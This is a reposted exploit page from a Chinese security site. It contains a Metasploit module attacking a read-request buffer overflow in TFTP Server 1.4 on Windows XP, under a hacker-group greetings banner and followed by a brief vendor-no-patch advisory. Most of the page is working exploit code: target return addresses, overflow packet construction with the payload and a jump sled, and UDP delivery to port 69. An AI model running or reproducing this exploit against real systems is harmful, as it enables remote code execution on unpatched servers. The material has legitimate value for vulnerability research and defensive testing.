TFTP Server读请求远程缓冲区溢出漏洞(5)

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS ()
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *
# Angel Injection () * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * * TreX
# * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TFTP server 1.4 ST(RRQ) Buffer overflow',
      'Description'    => %q{
            This exploit creats buffer overflow by sending a Read Request (RRQ) packet can also trigger a buffer overflow... 
      },
      'Author'         => 'JK and b33f',
      'Version'        => '',
      'References'     =>
        [
          ['URL', 'http://securtyresearch.in/'],
          ['URL','']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'TFTP server v1.4 Windows XP SP3',      { 'Ret' => 0x00409605 } ],
          [ 'TFTP server v1.4 Windows XP SP0',      { 'Ret' => 0x00418000 } ]
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 12 2012'))

register_options([Opt::RPORT(69)], self.class)
  end

def exploit
    connect_udp
    stage ="\x00\x01"
    stage << make_nops(50) + payload.encoded
    stage << rand_text_alpha(1487 - (payload.encoded.length+50))
    stage << "\xE9\x2E\xFA\xFF\xFF"
    stage << "\xEB\xF9\x90\x90"
    stage << [target.ret].pack('V')
    stage <<"\x00"
    stage << "netascii"
    stage << "\x00"
   
    #youlose = "\x00\x01" + filename + "\x00"   
    udp_sock.put(stage)
    disconnect_udp
  end

end

建议:
--------------------------------------------------------------------------------
厂商补丁:

sourceforge
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwzdss.html